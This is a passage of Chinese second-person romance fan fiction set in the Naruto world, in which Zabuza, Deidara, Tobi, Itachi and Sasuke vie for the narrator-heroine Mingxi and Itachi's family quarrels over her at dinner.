也正是因为这样他才会选择追随你的,你和那些人是不一样的,你知道,你也懂得将周围人当做同类来看待,哪怕是身为忍者的他也能得到你的尊重,虽然你总是说一些冷嘲热讽的话,但是,他能够感受到藏在那背后的尊重。 是的,你在尊重他,不仅仅是他,就连其他忍者也是一样的,就这样一视同仁。 这正是你的可贵之处。 过了不知道多久,卧室门被人从里面打开,卡多身边的手下将着装凌乱的卡多情人带出房间,那股奢靡的味道从房间里飘出来,这让再不斩微微皱起眉,又过了一会,还在兴头上的卡多让再不斩进门见他。 卡多的衣襟敞开,露出多余的赘肉,脸上的表情还有些兴奋,他说:“你收集到那些晓组织成员的情报了?” “是的,都在这里了。”说着,再不斩就要递上那份文件,但是卡多摆摆手,漫不经心地说:“我不想看,你念给我听吧。”那姿态分明就是把他给当成下人了对待了,再不斩拿着文件的动作顿了顿,很快地,他调整好状态,翻开那份文件,一字一顿地念出里面的内容。 卡多听到后面就有些不耐烦了,他的耐心就是这么少,或者说他对于忍者本来就没什么耐心,毕竟谁会对一样工具产生耐心呢? “可以了,总结概括一下,别说些有的没的了。”卡多又喝了一口葡萄酒,“你刚才说的那些人里,那个叫做迪达拉的家伙上次还炸了我的两个工厂,我给你任务酬金翻倍,你去把他给解决了。” 就这么轻描淡写地,用一句话改变这个任务内容,从原本的情报收集任务变成刺杀任务,而且刺杀对象好像还是你的情人之一,这下子他觉得自己有必要和你说一声了。 再不斩面无表情地答应下来,然后转身离开,其实在见卡多之前他确实遇到过迪达拉,对方没有和那个赤砂之蝎待在一块,而是和另外一个宇智波结伴而行,与他们狭路相逢的再不斩没有多说什么,反倒是那个自称是阿飞的宇智波咋咋呼呼地跑来和他打招呼。 “啊呀——这不是明希小姐身边的那个再不斩先生吗?为什么没有和明希小姐待在一起呢?咦,你在出外勤吗?嗯嗯……看上去真的很辛苦啊!”戴着面具的宇智波带土说话还是那么浮夸张扬。 和他结伴同行的迪达拉已经容忍他很久了,但还是有些不能适应他这种说话风格,他可以肯定这个家伙在你面前绝对不是这样的,所以,这只能说明这家伙就是在装。 迪达拉最讨厌那些装得很的人了,一想到这样装的人居然还能成为你的情人迪达拉就更加生气了。 不是,这凭什么啊?凭他很装吗?这样一点都不公平吧? 面对这个晓组织成员的热情招呼,再不斩的反应很平淡,实际上如果不是这个家伙主动来打招呼,他本来都不打算和他们说些什么的,不过看在你的份上,再不斩对待他们的态度也不算太恶劣,只能算是勉强。 很勉强地应声,然后就要走人,全过程花费不到十秒钟的时间。 在再不斩走后只留下迪达拉和宇智波带土面面相觑,迪达拉说:“好了,你现在满意了?人家完全就是被你给恶心到了,嗯。” 唉,真想不通为什么这次任务是和这家伙一起执行的啊,迪达拉忍不住在心里哀叹一声,不免开始怀念自己之前的搭档了,他们只是在追求艺术上有着不同的目标而已,其他时候还有很多话题可以聊,但是眼前这家伙,迪达拉看一眼就叹息一口气。 完全说不到一块去,对方一直在装疯卖傻,迪达拉又没好气地说:“你到底要这样装到什么时候?难道你和明希相处的时候也是这样的吗?”肯定不是的吧。 宇智波带土回过头,他感受到了迪达拉的不耐烦,但是他不耐烦又能怎样呢?他扯了扯嘴角,隐藏在面具下的脸浮现 出不屑的神情,他又为什么要告诉他自己是如何与你相处的呢?他一点也不想把这些细节分享给这个潜在的竞争对手。 他说:“啊,说这些恋爱的话题就应该搭配甜滋滋的甜品吧?而且也应该在下午茶的时候说这些,嗯嗯,要是是女子会就更好啦!” 迪达拉翻了个白眼,一听这话就知道对方又在扯些有的没的了,他撇撇嘴,意识到自己没办法从这个新搭档嘴里挖出有用的情报,他就暂时放弃了,他转过头继续往前走开,宇智波带土很快又追了上来,嘴里还在叽叽喳地说着,“什么什么?前辈你生气了吗?哎呀,不要生气嘛,这样会影响我们的配合的哦!” 说到底他本来就没想着和他配合吧? 迪达拉说:“别和我套近乎,我跟你可没有那么熟!” “但前辈刚才不是还在羡慕我和明希小姐的感情吗?我以为我们也能成为好朋友的呀!” 什么好朋友不好朋友的,迪达拉压根就没有考虑过这个,他现在想的都是任务的事情,因此他单手叉腰,说:“好了!我才不想继续这种无聊的话题呢,嗯!” 说完这话他就快步走向前方,将这个惹人烦的队友丢在身后。 宇智波带土笑了一下,跟上迪达拉的脚步。 * 宇智波鼬在你这边呆了一段时间,在某个阴雨天他说自己得要回木叶一趟,你也没有挽留,既然他要走那就送他到门口,他来的时候是下着雨的,走得时候也很巧合地在下雨,这就像是命运的安排。 你站在门口,宇智波鼬没有马上离开,他又问:“明希,你还有别的话想要对我说的吗?” 听起来像是问句,实际上是祈使句,你说:“一路顺风。” 只是这样吗?你在宇智波鼬的脸上看到了失落的表情,他大概能猜到你是故意的,故意那么说就是想要看他失望的样子,所以他又说:“除此之外呢?还有别的什么的吗?” 你说:“再见。” 闻言,宇智波鼬笑了一下,握住你的手,轻声对你说:“那么再见。” 话音落下,他也松开手,转身走去雨幕中,你在门口停留了一会,直到白走出门,说:“明希,再不斩写了信过来。” 啊,你前两天还在念叨好久没收到他的消息了呢,现在他就写信过来了,你转过身走到别墅里,白替你关上门,手里还拿着那一封信。 这是一封很简短的信件,内容简单,但越是这样简单的信件,往往情报越重要,你拆开信一看,果不其然,还真是被你给猜对了,那封信里写的是他的委托人卡多临时改变任务内容让他去刺杀迪达拉。 ——我认为有必要和你说一声。 再不斩最后补上这么一句话,你看着这句话,都能想象出他在写这句话的时候是什么表情,肯定是有些不耐烦的,甚至是对迪达拉充满烦躁的表情,他向来对你身边的情人没什么好脸色,你早就已经习惯了。 但不摆好脸色是一回事,真的遇到事情还是会主动向你汇报的,这也是为什么你觉得再不斩是个很合格,不对,应该说是非常优秀的员工。 毕竟不能看他说了什么,得要看他做了什么,他现在所做的一切都是以你的利益为主,所以你对他很满意。 下次再见到他的话可以好好夸奖他一番,你在心里这么想。 白还不知道这封信都写了什么,但是看你的表情,你好像心情不错?所以应该不是什么坏消息吧?白疑惑地注视着你,问道:“明希,这封信都写了什么?” 你说:“嗯……就是说卡多想要先拿迪达拉开刀,他委托了再不斩做这件事。” 你说得言简意赅,白听了以后就说:“卡多为什么会突然对晓组织动手?他难道就不怕对方的报复吗?” “当一个人过得太顺风顺水的时候就会觉得这世界上的一切都要为自己让道,而且区区一个晓组织,在他看来就是个不入流的犯罪团伙,对于侵害自己利益的家伙,他是最痛恨的。”和卡多接触过几次的你早就弄清了这家伙的本质,那就是唯利是图。 以利益作为目标导向也不能一杆子全部打成坏的,但是,做到卡多这种程度的话,确实会惹人厌。 “所以明希你是怎么想的?” 你还能怎么想呢,当然是阻止啊,迪达拉可是你的得力助手啊,卡多这家伙这不就是在针对你的优秀员工吗?那你可就没办法再忍了啊。 所以你给再不斩的回信里写的就是让他找机会对卡多动手。 也不知道这封信会什么时候送到再不斩手上,你站在窗边,看着信鸽载着这封信飞向遥远的天际,你的视线也停留在天际,停留在被雨水模糊的天边。 讨厌下雨天的人不止你一个,迪达拉也很讨厌,尤其是在和不喜欢的人一块出任务的时候遇上下雨天,那真是把他讨厌的东西全都凑了一遍,他全程处在低气压的状态中,更可恶的是身边的新搭档就跟看不出他现在有多烦躁似的还一个劲地凑过来问他为什么不说话呢? 最后迪达拉不耐烦地说道:“我不说话只是因为我不想说而已,还有你——能不能给我闭嘴?你真的很聒噪啊!” 宇智波带土的姿态扭捏,是刻意表现出来的扭捏,发现这一点的迪达拉更加不悦了。 宇智波带土完全无视迪达拉的不耐烦,他说:“啊……前辈这样生气的话很可能会影响身体健康的哦。” 有种一拳打在棉花的无力感,迪达拉深呼吸一口气,提醒自己要冷静下来。 呼,要冷静——没错要冷静。 调整好心情的迪达拉走到方圆百里唯一的一家旅馆里,如果没有下雨的话他还能在野外露宿,但是,现在这雨水绵绵不绝,在野外露营只会变成落汤鸡,所以就算是晓组织的成员也是会对生活条件有所挑剔的。 迪达拉先一步走到旅馆里,宇智波带土紧随其后,他站在旅馆的屋檐下甩去袖子上的水珠,嘴里还在念叨个不停,哎呀哎呀地说着今天晚上的雨怎么这么大。 “听说在阴雨天气里人类很容易昏昏欲睡的哦。”刚才还在屋檐下的宇智波带土不知何时突然出现在迪达拉身后,幽幽地说着。 迪达拉一个激灵,差点下意识地就要给对方一拳,还好他克制住了,他从旅馆主人手里接过客房钥匙,压低声音问道:“你是故意那么做的吗?” 宇智波带土顾左右而言他,说:“什么呀,我只是在感叹今天晚上的天气好差劲,也难怪前辈你的心情那么糟糕呢。” 什么啊,他心情糟糕的很大一部分原因是因为这家伙一直在叽里咕噜地说些奇怪的话吧? 总算是到了他的房间,迪达拉站在自己的房间门口,他刚才订了两个房间,阿飞的房间就在他隔壁,迪达拉的手握住门把手,侧过头一看,发现对方好像没有要去自己房间的意思,迪达拉就耐着性子提醒道:“你的房间在隔壁,这是我的房间,你不要跟过来。” “前辈好见外啊,我还以为会有什么夜谈会的呢,没有吗?诶……好可惜啊。”宇智波带土拖长语调。 那矫揉造作的语调让迪达拉忍不住扯了扯嘴角,“什么夜谈会不夜谈会的啊,根本就不存在这种东西的好嘛!” 说完这话他就一把打开门,然后再狠狠地关上门,将这家伙隔在门外。 总算是能够稍微清静一点了吗? 迪达拉长呼一口气,径直朝着房间自带的浴室走去,刚才在赶路的时候他的头发还有衣服都淋湿了,换下那身湿漉漉的衣服,迪达拉忽然想起自己上次去绳之国找你的时候,你和他说的那一番话。 你好像还是把他当成小孩子来对待,但是,他和这个新搭档对比一下就能看出谁更加成熟了吧?你连这家伙都能偏爱,为什么他不可以呢? 迪达拉还是百思不得其解。 他在洗完头洗完澡以后走出浴室,发梢还在 滴滴答答地滴水,但是他满不在乎,反正睡一晚上头发就会自然干的。 等到隔天早上,唤醒迪达拉的不是生物钟,而是隔壁房间阿飞的热情招呼。 是的,这家伙擅作主张地跑到他的房间里,然后又理所当然地叫醒他,被他质问这是在做什么的时候就略带无辜地回答道:“诶?这不是旅馆配备的唤醒服务吗?我是在服务前辈哦。” “这算哪门子的服务啊!?”但不得不说,迪达拉确实因为阿飞的出现突然精神起来,一点睡意都没有,他坐起来,说:“我可没要什么唤醒服务啊!” “不要那么生气了嘛,看,我已经把早餐带到前辈你的房间里了哦,所以现在快点来吃早餐吧!”宇智波带土双手合十。 迪达拉的心情就跟坐过山车似的,最后他还是坐在那张小矮桌旁边,喝了一口大麦茶,而坐在对面的阿飞好像没有要动筷的意思,迪达拉发现了,对方好像对于进食没有太高的意愿,不过嘛,鉴于他先前的搭档是赤砂之蝎,一个把自己改造成傀儡的人物,他也就能够接受对方这点小习惯了。 在迪达拉安静地吃着早餐的时候,对面的宇智波带土也在观察着他,过了一会,迪达拉忽然说:“你到底是和她怎么认识的啊?” 话题兜兜转转地最后还是跑到你身上去了,宇智波带土对此并不意外,他说:“前辈对这个很感兴趣吗?但是,这属于我的恋爱秘密呀。” 好恶心,他有点后悔那么问了。 第53章 论起阿飞恶心人的功力,那真是迪达拉见过的所有人里最厉害的一个,而且他恶心人的手段层出不穷,迪达拉摆摆手,说:“算了,我不想听你说这些废话了。” “前辈你真的一点都不想听吗?但我觉得前辈你好像很想从中学习一番呢,我应该没有猜错吧?” 这回不仅是恶心而且还是阴阳怪气了。 宇智波带土歪了歪脑袋,似乎真的在好奇,他透过面具看向迪达拉,后者满脸不耐烦,他又说:“但是前辈,明希小姐似乎没有把前辈你当成大人来看待哦,这样下去的话就算前辈你再怎么努力也是无济于事的呀。” 烦死了,这种事情可不需要他这么特意地提醒自己,迪达拉感觉自己早上的胃口都被毁掉了,而罪魁祸首还语调轻快,装作什么都没发生的样子。 实在是可恶。 迪达拉说:“可以了,我不想再和你聊这些话题了。” 宇智波带土点点头,说自己知道了,但还是托腮凝望着迪达拉,最后迪达拉啪地一下放下筷子,他这下子是彻底没有胃口了,这还吃什么呀,真是的。 “咦,前辈你不吃早餐了吗?这还是我专门端上来的呢,这样子好可惜哦。”宇智波带土说着。 迪达拉站起身,没有理会他,他披上那条代表晓组织的长袍,而后又冷冰冰地对他说:“现在可以走了。” 迪达拉在对方“啊呀浪费粮食可不是什么好习惯”的碎碎念中离开这家旅馆,一晚上过去,外面的雨水已经停歇,取而代之的是灿烂的阳光,他微微眯起眼睛,戴上帽子,遮去大部分的阳光。 走出一段路后阿飞还在他的耳边叽叽喳喳个不停,迪达拉也是挑有意义的问题回答,至于那些废话他就装作没听见,等走到下一个岔路口的时候阿飞忽然说:“感觉之前遇见的那个雾隐村的忍者好像也存着和前辈一样的想法哦。” 那个雾隐村的忍者?迪达拉想了一下,哦,就是那个叫做再不斩的忍者是吧?迪达拉虽然没和他交过手,但是,看对方的架势应该不弱,再怎么说也是个上忍,如果不是现在正在执行任务中,迪达拉或许还真的想要挑战一下对方。 但他说的心存一样的想法又是几个意思?迪达拉问道:“你这话又是什么意思?” “嗯……就是字面意思呀,他也想要成为明希小姐的情人嘛,这也不奇怪吧,毕竟明希小姐就是这么有魅力的呀。” 他后面说的话迪达拉都没怎么听进去,他只听见他说的再不斩想要成为你的情人,原来他打的是这个算盘吗?迪达拉不自觉地皱起眉,都没有意识到自己已经掉进了那位新搭档的陷阱里,甚至于他的思维都被对方牵着走。 宇智波带土说:“不过嘛,我觉得前辈你也不用太紧张,毕竟明希对情人可是很挑剔的呀。” 真的挑剔吗?那他还真没看出来啊,迪达拉看了一眼对方,因为对方从始至终都戴着面具所以迪达拉都没见过他的真实长相,难道说他面具下的脸很好看吗?迪达拉若有所思地问道:“你的脸长得很好看吗?” 此话一出,宇智波带土顿了顿,“诶?什么?” “脸,我是说你的脸,长得很漂亮吗?”漂亮到足以让你抛弃其他的标准吗? “啊呀这可真是……或许是的呢?但长相这种东西本身就是符合他人喜好才能算是漂亮的呀,嗯嗯,这么说来,明希大概是喜欢我的脸的吧?” 自言自语地,就像是在自卖自夸,迪达拉可不想听他这么夸奖自己。 所以到底怎么做才能让你对他的喜欢更多一点呢?迪达拉不由地陷入沉思,但是这个问题一时半会是无法得出答案的,就像他难以捉摸你的内心。 算了,只能走一步看一步了。 如果说他们两人在路上偶遇再不斩属于巧合的话,那么遇到宇智波鼬那就是意外了,无论对于哪一方来说都是意外。 到底是意外的惊喜还是惊吓,那就仁者见仁智者见智了。 反正迪达拉在遇到宇智波鼬的时候一下子就认出来了,那是之前声称自己是你的未婚夫的那个宇智波,而且还是拥有万花筒写轮眼的宇智波。 这次才是真正的狭路相逢。 一对二,无论怎么看宇智波鼬都不占优势,他本人也意识到了这一点,所以表现得格外谨慎。 两个叛忍,而且还都是晓组织的成员。 是因为他的好运气都用在和你重逢上面了吗?所以才使得他现在运气那么糟糕。 但也没有糟糕透顶,因为对方还在观望中,没有要动手的意思。 直到迪达拉主动开口,他说:“喂——你就是之前那个追着其他晓组织成员不放的木叶宇智波吧?” 迪达拉在宇智波前面加了一长串的形容词,因此听上去有些冗杂,宇智波鼬听了以后点点头,说:“也许是吧。”对方也有可能是在说止水,毕竟当时负责这个任务的是两个宇智波。 “什么叫做也许?”迪达拉语气不怎么友好,在他和宇智波鼬对话的时候身边的宇智波带土还在安静地打量着另外一个宇智波。 看他的样子,是刚从你那边离开吗?浑身洋溢着幸福喜悦的气息,让他觉得格外刺眼。 哈,难道说他这是在炫耀吗? 不过你对宇智波鼬的态度为什么会有所软化呢?他明明记得你以前可是摆在明面上地讨厌宇智波鼬的啊,你怎么突然就转变态度了? 是宇智波鼬对你使用了瞳术吗?修改了你的记忆亦或是意志?身为万花筒写轮眼的拥有者,想要做到这一程度并不难。 迪达拉还在质问宇智波鼬,“你这次也是在跟踪我们吗?” 被误会的宇智波鼬表现得很平静,他不咸不淡地解释道:“不是,这次我没有在执行任务。” “是吗?你没有在执行任务,你说的话我是不可能完全相信的。”他们这些宇智波的心思一个比一个多,他才不会那么轻易上当呢。 听到迪达拉这么说,宇智波鼬只是略带疑惑地问道:“既然你不相信,那你又为什么要问我呢?这样一来岂不是完全没有意义了吗?而且还很浪费时间啊。” 此话一出,迪达拉卡住了,他说得好像有点道理,不对!他为什么要认同一个讨厌的人说的话啊! 总之、总之,他绝对不能在和他的对峙中败下阵来,只见迪达拉挺起胸膛,说:“你管得着吗?” “我确实没有管教你的资格,但我只是单纯地提出疑惑而已。”宇智波鼬从始至终都表现得格外平静,这就愈发衬托得迪达拉心情激动了。 不行,可不能再这样下去了啊,迪达拉在心里提醒自己,他扬起下巴,回归正题,说:“你究竟是从哪里来的!?” 宇智波鼬缓慢地眨了一下眼睛,说:“从木叶来的。” 这场对话是无论如何都进行不下去了,迪达拉气得脸颊涨红,他觉得对方这 就是在挑衅自己,于是一气之下和宇智波鼬打了起来,两人打得有来有回,就在迪达拉以为自己要赢了的时候他丢出的炸.弹火光吞没宇智波鼬的身影,但是下一秒,那道身影就砰地一声化作烟雾消失。 迪达拉这下子才意识到自己一直都在和宇智波鼬的影分.身打架。 等等、所以他那么努力,甚至是那么激烈的交战最后的结果就是宇智波鼬的本体其实已经先一步离开了!? 究竟是什么时候……?他到底是什么时候那么不动声色地将眼前的他替换成影分.身的?迪达拉对此百思不得其解,正在气头上的他脸色更红。 刚才一直在旁边观战的宇智波带土也在这时候冒出来,看热闹不嫌事大地说:“啊呀,看来前辈你中了宇智波的计呀。” “烦死了!”迪达拉气鼓鼓地说,宇智波带土安慰道:“算啦,那毕竟是宇智波鼬呀,是宇智波中的天才呢。” 这番话好像根本就没起到安慰的作用,不,甚至是出现了反作用,迪达拉更加讨厌宇智波鼬了,他质问这个搭档,说:“你到底是站在哪一边的啊!?” 宇智波带土摊手,说:“这个嘛,我当然是站在前辈你这边的啊,我们可是搭档呀。” 真的吗?他怎么好像没看出来啊? 过了很久迪达拉才消气,时间久到宇智波鼬都已经回到了木叶,甚至已经去火影楼销假了。 在去往火影楼的时候刚好遇上了来找火影的鹿丸,出于礼貌,宇智波鼬对他笑了一下,鹿丸不太自然地点点头,就算是打招呼了。 在两人擦肩而过的时候宇智波鼬说:“负责对接不同势力肯定很劳神费心吧?” 他这话是什么意思?是在关心吗?还是在试探?鹿丸疑惑地看过去,但是这时候宇智波鼬已经走远了,只留下一头雾水的鹿丸站在原地。 过了几秒,他想起自己来火影楼的正事,他是来汇报工作的,这个小插曲暂时被他抛到脑后。 至于离开火影楼的宇智波鼬则是先回了木叶警卫队一趟,在警卫队上班的队员都能感受到他们的副队长销假回来以后整个人的心情都变好了不少,哪怕文件做的不合格他也是轻声细语地让手下重新做过。 拿着那份被打回重做的队员在离开副队长办公室的时候还有些不解,等候在外面的队员纷纷问道:“咦,你这次做的报告没过关队长都没说什么吗?” “是啊,我也觉得好奇怪,这次队长什么都没说,就只是告诉我拿回去重新做一遍而已。”那个队员也觉得很奇怪,他们面面相觑,最终是一个有经验的队员说:“我知道了,估计是队长在外面旅游的时候遇到了什么好事情吧。” “好事情?这还能有什么好事情呢?”难道是遇见了一见钟情的对象吗?但是在此之前宇智波鼬都已经快要和你结婚了,只是中间发生了一点小插曲,所以这场订婚宴也不了了之,但是,宇智波可是很专情的一族啊,一旦认定了对方那就不会再发生改变。 所以又有人说:“你这不是在瞎说吗?小心队长听见了找你算账啊!” “但是,他是在享受假期以后才变得那么轻松的,所以肯定是在假期中发生了什么事情不是吗?”一开始提出推测的那个人看看周围,发现自己的同僚都不说话了,他就奇怪地问道:“你们为什么不说话了啊?” 其中一个和他关系比较好的同事指了指他身后,他回过头一看发现原来是宇智波鼬正站在那里,也不知道是从什么时候开始听他们说话的,那个队员的额角飞快地冒出几滴汗水,而后尴尬地对着队长宇智波鼬笑了下,说:“队长……额,我们刚才就是在开玩笑,啊哈哈——对,开玩笑。” 原本以为宇智波鼬会大发雷霆的,毕竟换成谁听见下属在背后这么猜测自己肯定都会生气的吧?所以那个队员都已经做好了迎接暴风雨的准备,但是最后暴风雨也没有来临,等来的只有宇智波鼬心平气和的话语,他说:“你的报告呢?” 诶?只是询问报告的事情吗?他惊讶地睁大眼睛,那刚才,额,他们的对话是没有听见吗?不不不,肯定是听见了的,只不过他懒得追究而已,那个队员想到这里不由地松了一口气,心说自己今天的运气可真好,然后拿着报告走到办公室。 宇智波鼬坐回到办公桌后,在看完报告确认没问题以后才说:“嗯,这份报告没问题。” 就在那个下属准备离开的时候宇智波鼬突然开口,说:“刚才那样的讨论我认为没有任何必要,也没有意义,当然,如果你们真的想要讨论的话我也不会阻止,只不过不要在我的眼皮子底下说。” 说得那么云淡风轻,轻飘飘的话语落在下属身上又变得格外沉重,那个下属尝试着笑一下缓和气氛,但是好像没有成功,甚至还弄巧成拙了,宇智波鼬说:“现在这个时候,我认为并不适合笑,虽说也有‘伸手不打笑脸人’的道理,但是,不合时宜的笑容只会让人对你的工作态度产生怀疑。我想换做任何一个人都不想自己的工作能力因为这种小细节而被质疑的吧?” 那个下属脸上的笑容彻底消失了,消失得无影无踪,他动作僵硬地离开办公室,又对其他同僚递去一个眼神提醒他们都要小心一点,别看宇智波鼬刚才看起来好像心情愉快的样子,但他的心情就跟天气似的变幻莫测,也许上一秒还在和颜悦色,下一秒言辞就会变得尖锐起来。 排在后面提交报告的同事都心惊胆战,递交报告的时候大气都不敢出,还好宇智波鼬也没有真的生气,他刚才顶多就是提醒下属一两句而已,但因为散发出的气势让人产生压迫感,所以在旁人看来才像是他在生气。 但其实真的想让宇智波鼬生气并不是一件容易的事情。 看完最后一份报告,宇智波鼬对着那个下属点点头,说:“辛苦你了。” 那个下属微微俯身,即刻转身离开。 将手头积攒的工作完成,宇智波鼬这才从警卫队出来,朝着家的房间走去,因为有他在警卫队里的处理各项事务,所以他的父亲宇智波富岳现在已经处在半退休的状态,他回到家的时候对方比自己早很久就回来了,正和他的母亲坐在一块。 在旁人看来宇智波一族高傲冷漠,但其实对待自己心爱的人他们往往会露出柔软平和的一面,就比如说现在的宇智波富岳在妻子面前也会笑着和她说些悄悄话。 如果没有出现什么意外的话,他和你本该也是这样的,他可以保证自己一辈子都会爱护你,你们也会成为旁人眼里的模范夫妇。 但是,既然都已经出现了波折,那就只能暂时改变自己的计划了,他很快就接受了现状,毕竟就算是在执行任务途中也会出现各种突发情况,所以学会制定备用计划也是身为忍者必备的技能,宇智波鼬作为优秀的忍者可以熟练地制定备用计划,并且随时根据情况变化进行休整改变。 “鼬?你回来啦?”母亲美琴是第一个发现鼬的人,她对着大儿子招招手,她的大儿子这阵子都在接手父亲的公务,所以繁忙得很,想要和他共进晚餐都难,不过好在这些手续结束以后他总算是有时间空下来一家人坐下来好好吃顿晚餐了。 鼬点了点头,走到自己的母亲身边坐下,说:“嗯,我回来了。” 美琴伸出手想要触碰鼬的头发,但是突然想起来他现在已经长大成人,所以只是笑了一下,说:“佐助好像也快回来了,真好,我们一家人又可以一起吃晚餐了。” 宇智波鼬说:“不,这还不算是一家人。” 美琴听到他这么说就知道了他的意思,她唇角的笑容变淡了一些,她说:“鼬你说的是明希吗?那孩子……”她想说的话都融化在叹息里,当初你的离开美琴也感到惊讶,但是在仔细分析以后她才发现或许对于你来说住在这里才是难以容忍的事情吧。 你是个非常有边界感的孩子,而他们所做的一切都在试探你的边界感,终于,他们试探到了你的底线,而你的反应就是一走了之。 美琴说:“鼬,感情的事情是没办法强求的呀,我原本以为明希是喜欢你的,但是……” 宇智波鼬语调温和地打断母亲美琴接下来要说的话,是以不容置疑的态度打断的,他说:“母亲,这件事情我想你不用担心。” 真的不用担心吗?如果自己什么都不做的话,总觉得会发生难以控 制的事情啊。 美琴皱起眉,她的丈夫拍了拍她的后背,无声地说这件事情还是交给鼬自己处理比较好。 就在谈话陷入僵局的时候佐助从外面回来了,他在玄关处换下鞋子,没走两步就看见自己的父母还有哥哥都坐在长廊上,大家这是在做什么?这是佐助内心第一时间产生的疑惑,他说:“母亲……还有哥哥,你们都在说什么啊?” “没什么,我们只是在聊你什么时候回来而已,真巧,你这就回来了,好了,也该吃晚餐了。”美琴说着站起身。 但直觉告诉佐助他们聊的绝对不是什么家长里短的琐事,而是不能告诉他的事情。 又是这样,明明他都已经成为忍者了,甚至都已经完成多次危险的任务了,但是,他们还是把自己当成小孩子对待,一想到这里佐助的心情就变得郁闷起来,他向来不会在自己的家人面前隐藏自己的心情,他可做不到,无论是他的母亲还是哥哥都察觉到了他那低落的心情。 美琴给小儿子盛了一碗汤,又说:“今天过得怎么样呢?” 开始转移话题了,佐助看着那汤碗,上面漂浮着的星星点点的油花,他说:“就这样吧。”对于这个话题他没什么好说的,只不过是非常普通的一天而已,唯一让他有些在意的大概就是他的哥哥的态度了。 他听说了的,他的哥哥前阵子离开木叶去外面度假了,这可不是普通的度假,佐助握着筷子的手顿了顿,他抬眼看向坐在自己对面的哥哥,后者感受到他的目光投来疑惑的眼神。 他这是在恶意揣测自己的哥哥吗?但是,他明明那么喜欢自己的哥哥,他不该那么做的。 可是,他的内心充满犹豫纠结,最后他终于开口,问道:“哥哥,你这段时间都去哪里了?” 宇智波鼬的表情没有发生任何改变他说:“佐助,你在问这个问题之前其实心里已经有了答案了不是吗?” 哥哥的话让他陷入沉默。 第54章 美琴感知到气氛变得微妙,她就说:“劳逸结合也好,总是一直在工作的话人都会变得无趣的,唉,我可不想你们都变成你们父亲那样。” 正在一旁安静喝汤的富岳缓缓打出一个问号?好端端地怎么就突然扯到他了呢?就连话题的重心都转移到他身上来了,他握着勺子的手顿了顿,看了看自己的妻子又看看那两个儿子,然后说:“确实得要劳逸结合。” 这话说得不痛不痒,佐助顿时就没了吃晚餐的胃口,他放下筷子,低声说:“我吃饱了。”旋即起身就要离开餐桌。 宇智波富岳朝妻子美琴递去一个眼神,后者无奈地叹息一声,说:“这不是你的错。” 还没等她的话音落下,大儿子鼬的声音就响了起来,他说:“我知道,这是我的错,我会和佐助好好谈一谈的。” 紧接着他也放下筷子,对双亲说:“我吃完了,多谢款待。” 眼看着两个儿子一前一后地离开餐厅,只留下他们的母亲和父亲面面相觑,最终宇智波富岳说:“真是越长大越看不透他们的心思。” 美琴说:“你难道是第一次看不穿他的想法吗?”这话指的是他们的大儿子宇智波鼬,实际上在很久以前就已经读不懂这孩子的心了,虽然人人都希望自己能有聪慧的的孩子,但是如果孩子太聪明的话就会和双亲产生间隙,所谓的亲情也会变得很淡。 而宇智波鼬就是典型的例子,因为天资出众,因为早慧,所以和双亲之间的关系也算不上多亲近,甚至可以说是疏远的。 难以靠近,这是宇智波富岳对他的大儿子的固有印象,当初听闻他的大儿子要和你订婚的时候他发自内心地感到庆幸,心说自己的儿子总算是有和常人相似的地方了,但是,后面婚礼不了了之,还有被潜藏在那婚礼表象下的真相都让宇智波富岳觉得自己不了解对方。 他的儿子究竟要做什么呢?到底想要什么呢?尽管现在的宇智波鼬已经按照父亲的想法接过对方手中的责任,成为合格,不,应该说是优秀的警卫队副队长了,日后还会接任宇智波族长的位置,但是,宇智波富岳仍然会对未来感到惴惴不安。 这就像是风雨欲来前的短暂平静,在多次战斗中磨炼出来的直觉是那么准确,以至于他敏锐地通过刚才鼬和佐助的对峙感受到了什么,他忍不住叹息一声,“我们又能够做些什么呢?” 妻子美琴却显得放松多了,她说:“我觉得你不用担心那么多。” “但我身为他们的父亲——” “因为就算你担心也不会对事情的发展起到什么影响,他们都已经是成熟的忍者了,不是任人摆布的孩子。”美琴冷静而理智地分析现状,真要论起来其实美琴比她的丈夫还要理性。 宇智波富岳不说话了,也不知道是被伤到了还是意识到自己妻子说的都是实话,总之,他一时之间不知道该说些什么。 妻子说的话固然有道理,但是,他也不该那么袖手旁观吧?所以最后他还是起身先去找自己的小儿子,至于为什么没有先去找自己的大儿子,自然是因为对方很可能会出言不逊,所以出于谨慎起见,宇智波富岳找到了坐在金鱼池边喂鱼的佐助。 “佐助。”宇智波富岳叫了一声小儿子的名字,后者抬起头,表情闷闷不乐,肉眼可见的心情低落,他低低地应了一声,“父亲,您找我有什么事吗?” 宇智波富岳在此之前很少和自己的小儿子谈心,因为在他看来与其将时间浪费在这种事情上面还不如专心修炼,但是,可能是年纪上去了,大儿子逐渐接替自己的位置,他的心态也逐渐发生转变,简单来说就是变得和善了许多,甚至是能够换位思考了。 这放在以前是绝对不可能发生的事情。 宇智波富岳在旁边坐下,垂眸看着水池里的金鱼,有几尾金鱼是你当初在夏日祭上捞回来的,一直活到了现在,无论是鼬还是佐助都格外偏爱那几条金鱼,就连鱼食也会特意多给一些。 “这几条鱼是明希当时捞回来的吧?”宇智波富岳忽然开口。 “嗯。” 佐助凝望着那几条金鱼。 金鱼无法理解人类的烦恼,吃着鱼食是那么无忧无虑。 它们会因为你的消失而感到悲伤吗?不会的吧。 “刚才在餐桌上你和你的哥哥说的那一番话……你们兄弟之间出现什么矛盾了吗?我记得你们之前的关系很好。”宇智波富岳终于切入正题,但他没有说得太直接,他听从了妻子的建议,尽可能委婉地询问他们兄弟之间发生了什么。 佐助将装着鱼食的小罐子放到另外一边,然后说:“是母亲让您过来的吗?” “不,是我自己想过来问问的。” “应该也不算是矛盾。”佐助斟酌用词,停顿了好一会也不知道该怎么形容自己现在和哥哥鼬之间的古怪气氛,就像是都在互相敌对,如果可以的话他才不想和自己的哥哥站在对立面,但是……他的哥哥对待你总是太理所当然,认为你们是两情相悦的。 佐 助在和你接触以后就发现那所谓的两情相悦也只不过是他哥哥的臆想而已。 最后他只是摇摇头,说:“我也不知道。” 宇智波富岳说:“但你们毕竟是亲兄弟,应该互相帮衬。” 佐助皱起眉,他刚才说的话又没有要诋毁自己哥哥的意思,他说:“我当然知道这个道理。” “但是我还是觉得哥哥和明希不应该在一起的。”他忽然提到了你的名字,宇智波富岳像是捕捉到了话题的关键点,就说:“这一切都和明希有关吗?” “父亲您要责怪明希吗?”佐助忽然激动起来,他不想听别人指责你,在他看来你并没有做错什么,所谓的错误也只是别人有意安到你头上的。 